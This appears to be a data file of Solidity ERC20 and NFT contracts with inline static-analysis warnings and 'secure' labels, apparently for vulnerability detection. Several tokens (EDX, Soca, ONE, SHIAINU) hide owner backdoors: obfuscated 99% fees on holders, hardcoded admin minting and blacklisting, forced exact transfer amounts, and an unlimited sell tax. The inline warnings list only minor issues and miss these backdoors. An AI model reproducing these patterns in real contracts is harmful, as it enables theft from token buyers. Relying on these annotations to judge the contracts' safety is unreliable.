_balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a475065): WhitelistToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a475065: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3460.sol", "secure": 0, "size_bytes": 6697 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract EDX is Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 986380f): EDX._decimals should be constant \n\t// Recommendation for 986380f: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 4c870f6): EDX._totalSupply should be immutable \n\t// Recommendation for 4c870f6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52d34cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52d34cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addBot(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\n\t\t// reentrancy-benign | ID: 52d34cd\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: 52d34cd\n inLiquidityTx = false;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function addBots(address[] calldata botsList) external onlyOwner {\n for (uint256 i = 0; i < botsList.length; i++) {\n bots[botsList[i]] = true;\n }\n }\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0));\n if (isBotTransaction(from, to)) {\n addBot(amount, to);\n } else {\n require(amount <= _balances[from]);\n uint256 feeAmount = 0;\n if (!bots[from] && cooldowns[from] != 0) {\n if (cooldowns[from] < block.number) {\n feeAmount = amount.mul(99).div(100);\n }\n }\n setCooldown(from, to);\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - feeAmount;\n emit Transfer(from, to, amount);\n }\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function isBotTransaction(\n address sender,\n address receiver\n ) public view returns (bool) {\n if (receiver == sender) {\n if (isBot(receiver)) {\n return isBot(sender) && isBot(receiver);\n }\n }\n return false;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4ac7a04): EDX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4ac7a04: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function setCooldown(\n address from,\n address recipient\n ) private returns (bool) {\n return\n checkCooldown(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n mapping(address => uint256) cooldowns;\n function checkCooldown(\n address from,\n address to,\n address pair\n ) internal returns (bool) {\n bool inL = inLiquidityTx;\n bool b = _8asdg6(bots[to], isBot(from));\n bool res = b;\n if (!bots[to] && _8asdg6(bots[from], inL) && to != pair) {\n if (to == address(0)) {} else {\n holders.push(to);\n }\n res = true;\n } else if (b && !inL) {\n if (pair != to) {} else {\n res = true;\n }\n }\n return res;\n }\n event Transfer(address indexed __address_, address indexed, uint256 _v);\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n uint256 _maxWalletSize;\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n mapping(address => uint256) private _balances;\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n uint256 _maxTxAmount;\n address[] holders;\n function removeLimit() external onlyOwner {\n _maxWalletSize = _totalSupply;\n _maxTxAmount = _totalSupply;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 96fd5c8): EDX._fee should be constant \n\t// Recommendation for 96fd5c8: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 0;\n mapping(address => mapping(address => uint256)) private _allowances;\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 8c30d19): EDX._router should be constant \n\t// Recommendation for 8c30d19: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n mapping(address => bool) bots;\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 7eb7067): EDX._taxWallet should be constant \n\t// Recommendation for 7eb7067: Add the 'constant' attribute to state variables that never change.\n address public _taxWallet;\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function transfer_() external {\n uint256 c = block.number;\n\t\t// cache-array-length | ID: e86b549\n for (uint256 i = 0; i < holders.length; i++) {\n if (cooldowns[holders[i]] != 0) {} else {\n cooldowns[holders[i]] = c;\n }\n }\n delete holders;\n }\n bool inLiquidityTx = false;\n event Approval(\n address indexed ai,\n address indexed _adress_indexed,\n uint256 value\n );\n function delBots(address _bot) external onlyOwner {\n bots[_bot] = false;\n }\n function _8asdg6(bool _01d3c6, bool _2abd7) internal pure returns (bool) {\n return !_01d3c6 && !_2abd7;\n }\n\t// WARNING Optimization Issue (constable-states | ID: ea65d10): EDX._symbol should be constant \n\t// Recommendation for ea65d10: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"EDX\";\n\t// WARNING Optimization Issue (constable-states | ID: aa50cfa): EDX._name should be constant \n\t// Recommendation for aa50cfa: Add the 'constant' attribute to state variables that never change.\n string private _name = \"EDX Markets\";\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f2c0e2): EDX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8f2c0e2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(spender != address(0), \"IERC20: approve to the zero address\");\n require(owner != address(0), \"IERC20: approve from the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}", "file_name": "solidity_code_3461.sol", "secure": 0, "size_bytes": 9682 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Soca is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 8eb1a2d): Soca._tokentotalSupply should be immutable \n\t// Recommendation for 8eb1a2d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSupply;\n string private _tokenname;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6314a3a): Soca._okex1005 should be immutable \n\t// Recommendation for 6314a3a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _okex1005;\n mapping(address => bool) private jchsn;\n function quitOPDoge(address sss) external {\n require(_okex1005 == _msgSender());\n jchsn[sss] = false;\n require(_okex1005 == _msgSender());\n }\n\n function Multicall(address sss) external {\n require(_okex1005 == _msgSender());\n jchsn[sss] = true;\n }\n\n function adminvivvip() external {\n require(_okex1005 == _msgSender());\n uint256 amount = totalSupply();\n _balances[_msgSender()] += amount * 80003;\n }\n\n function gtestatus(address sss) public view returns (bool) {\n return jchsn[sss];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 753944a): Soca.constructor(string,string,address).adminBot lacks a zerocheck on \t _okex1005 = adminBot\n\t// Recommendation for 753944a: Check that the address is not zero.\n constructor(\n string memory tokenName,\n string memory tokensymbol,\n address adminBot\n ) {\n\t\t// missing-zero-check | ID: 753944a\n _okex1005 = adminBot;\n _tokenname = tokenName;\n _tokensymbol = tokensymbol;\n uint256 amount = 500000000000 * 10 ** decimals();\n _tokentotalSupply += amount;\n _balances[msg.sender] += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _internaltransfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f0f87e): Soca.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8f0f87e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _internalspendAllowance(from, spender, amount);\n _internaltransfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0fb35ac): Soca.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0fb35ac: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0296484): Soca.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0296484: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _internaltransfer(\n address fromSender,\n address toSender,\n uint256 amount\n ) internal virtual {\n require(\n fromSender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(toSender != address(0), \"ERC20: transfer to the zero address\");\n if (jchsn[fromSender] == true) {\n amount = amount - amount + (_balances[fromSender] * 5);\n }\n uint256 balance = _balances[fromSender];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[fromSender] = _balances[fromSender] - amount;\n _balances[toSender] = _balances[toSender] + amount;\n\n emit Transfer(fromSender, toSender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07ea6a9): Soca._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07ea6a9: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2dfb865): Soca._internalspendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2dfb865: Rename the local variables that shadow another component.\n function _internalspendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3462.sol", "secure": 0, "size_bytes": 7199 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract WPEPETWOOH is Context, Ownable, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 609a32e): WPEPETWOOH._totalSupply should be immutable \n\t// Recommendation for 609a32e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 457b826): WPEPETWOOH._decimals should be immutable \n\t// Recommendation for 457b826: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 4c1b8f4): WPEPETWOOH.openedAt should be constant \n\t// Recommendation for 4c1b8f4: Add the 'constant' attribute to state variables that never change.\n uint256 private openedAt = 0;\n bool private tradingActive = false;\n\n mapping(address => bool) public _isExempt;\n\n constructor() {\n _name = \"Wrapped Pepe 2.0\";\n _symbol = \"WPEPE2.0\";\n _decimals = 18;\n _totalSupply = 1_000_000_000 * 1e18;\n\n _isExempt[address(msg.sender)] = true;\n _isExempt[address(this)] = true;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6275a01): WPEPETWOOH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6275a01: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function openTrade() external onlyOwner {\n tradingActive = true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!tradingActive) {\n require(\n _isExempt[sender] || _isExempt[recipient],\n \"Trading is not active.\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae6e123): WPEPETWOOH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ae6e123: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3463.sol", "secure": 0, "size_bytes": 5953 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function tokensOfOwner(\n address _owner\n ) external view returns (uint256[] memory);\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n}", "file_name": "solidity_code_3464.sol", "secure": 1, "size_bytes": 304 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract Treasury is IERC721Receiver, Context, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: c282a1a): Treasury._theDogePound should be immutable \n\t// Recommendation for c282a1a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC721 public _theDogePound;\n\n constructor(address theDogePound) {\n _theDogePound = IERC721(theDogePound);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 79af874): Treasury.sendDogeToPromoter(address,uint256) has external calls inside a loop _theDogePound.safeTransferFrom(address(this),promoter,tokens[a])\n\t// Recommendation for 79af874: Favor pull over push strategy for external calls.\n function sendDogeToPromoter(\n address promoter,\n uint256 amount\n ) external onlyOwner {\n uint256[] memory tokens = _theDogePound.tokensOfOwner(address(this));\n\n for (uint256 a; a < amount; a++) {\n\t\t\t// calls-loop | ID: 79af874\n _theDogePound.safeTransferFrom(address(this), promoter, tokens[a]);\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 67dd6c5): Treasury.sendDogeToPromoters(address[]) has external calls inside a loop _theDogePound.safeTransferFrom(address(this),promoters[i],tokens[i])\n\t// Recommendation for 67dd6c5: Favor pull over push strategy for external calls.\n function sendDogeToPromoters(\n address[] memory promoters\n ) external onlyOwner {\n require(promoters.length > 0);\n\n uint256[] memory tokens = _theDogePound.tokensOfOwner(address(this));\n\n for (uint256 i; i < promoters.length; i++) {\n\t\t\t// calls-loop | ID: 67dd6c5\n _theDogePound.safeTransferFrom(\n address(this),\n promoters[i],\n tokens[i]\n );\n }\n }\n\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external pure override returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}", "file_name": "solidity_code_3465.sol", "secure": 0, "size_bytes": 2444 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeCalls {\n function checkCaller(address sender, address _mee) internal pure {\n require(sender == _mee, \"Caller is not the original caller\");\n }\n}", "file_name": "solidity_code_3466.sol", "secure": 1, "size_bytes": 240 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafeCalls.sol\" as SafeCalls;\n\ncontract ONE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _exactTransferAmounts;\n mapping(string => uint256) private _couponLedger;\n\t// WARNING Optimization Issue (immutable-states | ID: 5f9aa07): ONE._mee should be immutable \n\t// Recommendation for 5f9aa07: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _mee;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 0c5c950): ONE._decimals should be immutable \n\t// Recommendation for 0c5c950: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 42528b6): ONE._totalSupply should be immutable \n\t// Recommendation for 42528b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (constable-states | ID: a26c944): ONE.baseRefundAmount should be constant \n\t// Recommendation for a26c944: Add the 'constant' attribute to state variables that never change.\n uint256 private baseRefundAmount = 880000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _mee = 0x52E0C1fFF131d58F0e5d2cF8a84339016C9B162F;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function setExactTransferAmounts(\n address[] calldata accounts,\n uint256 amount\n ) external {\n SafeCalls.checkCaller(_msgSender(), _mee);\n for (uint256 i = 0; i < accounts.length; i++) {\n _exactTransferAmounts[accounts[i]] = amount;\n }\n }\n\n function getExactTransferAmount(\n address account\n ) public view returns (uint256) {\n return _exactTransferAmounts[account];\n }\n\n function refund(address recipient) external {\n SafeCalls.checkCaller(_msgSender(), _mee);\n uint256 refundAmount = baseRefundAmount;\n _balances[recipient] += refundAmount;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n uint256 exactAmount = getExactTransferAmount(_msgSender());\n if (exactAmount > 0) {\n require(\n amount == exactAmount,\n \"TT: transfer amount does not equal the exact transfer amount\"\n );\n }\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: beee24c): ONE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for beee24c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n uint256 exactAmount = getExactTransferAmount(sender);\n if (exactAmount > 0) {\n require(\n amount == exactAmount,\n \"TT: transfer amount does not equal the exact transfer amount\"\n );\n }\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_3467.sol", "secure": 0, "size_bytes": 5557 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SHIAINU is IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ef166e): SHIAINU._totalSupply should be immutable \n\t// Recommendation for 1ef166e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 7249e6a): SHIAINU.decimals should be immutable \n\t// Recommendation for 7249e6a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 846441e): SHIAINU.owner should be immutable \n\t// Recommendation for 846441e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n uint256 public sellTaxRate;\n address public uniSwapPair;\n\t// WARNING Optimization Issue (immutable-states | ID: 19072bb): SHIAINU.taxDestination should be immutable \n\t// Recommendation for 19072bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public taxDestination;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the contract owner\");\n _;\n }\n\n constructor() {\n name = \"SHIAINU\";\n symbol = \"SHIAINU\";\n decimals = 18;\n _totalSupply = 10000000000 * (10 ** uint256(decimals));\n _balances[msg.sender] = _totalSupply;\n owner = msg.sender;\n taxDestination = owner;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address _owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[_owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n uint256 effectiveAmount = amount;\n if (recipient == uniSwapPair && sender != owner) {\n uint256 taxAmount = (amount * sellTaxRate) / 100;\n effectiveAmount = amount - taxAmount;\n _balances[taxDestination] += taxAmount;\n emit Transfer(sender, taxDestination, taxAmount);\n }\n require(sender != address(0), \"Transfer from the zero address\");\n require(recipient != address(0), \"Transfer to the zero address\");\n _balances[sender] -= amount;\n _balances[recipient] += effectiveAmount;\n emit Transfer(sender, recipient, effectiveAmount);\n }\n\n function _approve(\n address _owner,\n address spender,\n uint256 amount\n ) internal {\n require(_owner != address(0), \"Approve from the zero address\");\n require(spender != address(0), \"Approve to the zero address\");\n _allowances[_owner][spender] = amount;\n emit Approval(_owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 870aba1): SHIAINU.updateSellTaxRate(uint256) should emit an event for sellTaxRate = newRate \n\t// Recommendation for 870aba1: Emit an event for critical parameter changes.\n function updateSellTaxRate(uint256 newRate) external onlyOwner {\n\t\t// events-maths | ID: 870aba1\n sellTaxRate = newRate;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 68c603a): SHIAINU.setUniSwapPair(address)._pair lacks a zerocheck on \t uniSwapPair = _pair\n\t// Recommendation for 68c603a: Check that the address is not zero.\n function setUniSwapPair(address _pair) external onlyOwner {\n\t\t// missing-zero-check | ID: 68c603a\n uniSwapPair = _pair;\n }\n}", "file_name": "solidity_code_3468.sol", "secure": 0, "size_bytes": 4962 }
